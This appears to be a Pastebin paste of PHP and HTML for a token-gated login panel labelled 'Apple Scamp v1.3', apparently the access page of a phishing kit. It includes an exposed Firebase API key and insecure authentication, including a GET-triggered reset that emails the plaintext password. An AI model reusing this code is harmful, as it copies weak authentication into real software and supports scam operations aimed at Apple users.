Advertisement
rizkyibeng

Untitled

Apr 25th, 2018
472
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.24 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. include 'conf/config.php';
  4. session_start();
  5.  
  6. if($_SESSION['user'] != ""){
  7. header("location: $account_is_on");
  8. }
  9. ?>
  10. <?php
  11. $pass = $_POST['password'];
  12. if(isset($_POST['submit'])){
  13.  
  14.  
  15.  
  16. if($pass == $password){
  17.  
  18. session_start();
  19. $_SESSION['user'] = $pass;
  20. header("location: $account_is_on");
  21. }
  22. else{
  23. echo '<p> <font color="red">'.$wrong_password_Error.'<br></font></p>';
  24. }
  25.  
  26.  
  27. }
  28. if(isset($_GET['pass'])){
  29. $pass = $_GET['pass'];
  30. if($pass == 'reset'){
  31. $subject = "reset password";
  32. $text = "
  33. hi dear $name ,
  34. your password is ".$password;
  35. mail($your_email, $subject, $text);
  36. echo '<font color="red"><p>'.$help.'</p></font>';
  37. }
  38.  
  39. }
  40. ?>
  41. <html>
  42. <head>
  43. <title>17+_Shop</title>
  44. <link rel="stylesheet" href="style.css" />
  45. </head>
  46. <body>
  47.  
  48. <div id="login_div" class="main-div">
  49. <center><br>
  50. <h0>Selamat Datang di Panel Nya Rizky IBENG+</h0><br>
  51. <br><h5>Silahkan Masukan Email And Password anda yang udah di Register Owner SC 18+ Untuk Melanjutkan Panel InI. <h5>
  52. <input class="pass" type="email" placeholder="Email..." id="email_field" />
  53. <input class="pass" type="password" placeholder="Password..." id="password_field" />
  54. <br><br>
  55. <button class="passs" onclick="login()">Login</button>
  56. </div><center>
  57. <h5>Contact Owner. <h5>
  58. <div id="user_div" class="loggedin-div">
  59. <center><br>
  60. <a>Welcome 18+ please enter your key Token .</a>
  61.  
  62. <p id="user_para">Welcome to 18+ web login Example. You're currently logged in.</p>
  63. </span>
  64. <form action="" method="post">
  65. <input type="password" class="pass" placeholder="xxxx-xxxx-xxxx-xxxx" required name="password">
  66. <input type="submit" name="submit" value="Acces Token" class="passs">
  67. <button class="passs" onclick="logout()">Logout</button>
  68. </form>
  69. </div>
  70.  
  71.  
  72. <script src="https://www.gstatic.com/firebasejs/4.11.0/firebase.js"></script>
  73. <script>
  74. // Initialize Firebase
  75. var config = {
  76. apiKey: "AIzaSyDlKgx1iODZA2KyIirKbRwkJ1DmEx87IQQ",
  77. authDomain: "borneo-shop.firebaseapp.com",
  78. databaseURL: "https://borneo-shop.firebaseio.com",
  79. projectId: "borneo-shop",
  80. storageBucket: "borneo-shop.appspot.com",
  81. messagingSenderId: "933927959365"
  82. };
  83. firebase.initializeApp(config);
  84. </script>
  85. <script src="style.js"></script>
  86.  
  87. </body>
  88. </html>
  89. <html>
  90. <head>
  91. <title>18+</title>
  92.  
  93. </head>
  94. <body>
  95. <br>
  96. <center>
  97. <a>Ibeng Panel 18 + | Apple Scamp v1.3<a>
  98. <center>
  99. <style>
  100. *{
  101. text-decoration:none;
  102. outline:0px;
  103. }
  104. body{
  105. background-color:black;
  106. color:#00FF00;
  107. font-family:courier;
  108. margin-top:8%;
  109. }
  110. .pass{
  111. color:#00FF00;
  112. background:black;
  113. width:25%;
  114. padding:8px;
  115. outline:0px;
  116. border:1px solid green;
  117. margin:1%;
  118. }
  119. .passs{
  120. color:#00FF00;
  121. background:solid green;
  122. width:10%;
  123. padding:8px;
  124. outline:0px;
  125. border:1px solid green;
  126. margin:1%;
  127. }
  128. span{
  129. margin-top:6%;
  130. margin:3%;
  131. color:#00FF00;
  132. width:43%;
  133. text-align:left;
  134. display:block;
  135. }
  136. .sub{
  137.  
  138. color:#00FF00;
  139. background:black;
  140. width:40%;
  141. padding:8px;
  142. outline:0px;
  143. border:1px solid green;
  144.  
  145. }
  146. .subb{
  147.  
  148. color:#00FF00;
  149. background:black;
  150. width:40%;
  151. padding:8px;
  152. outline:0px;
  153. border:1px solid green;
  154.  
  155. }
  156. </style>
  157. </center>
  158. </body>
  159. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement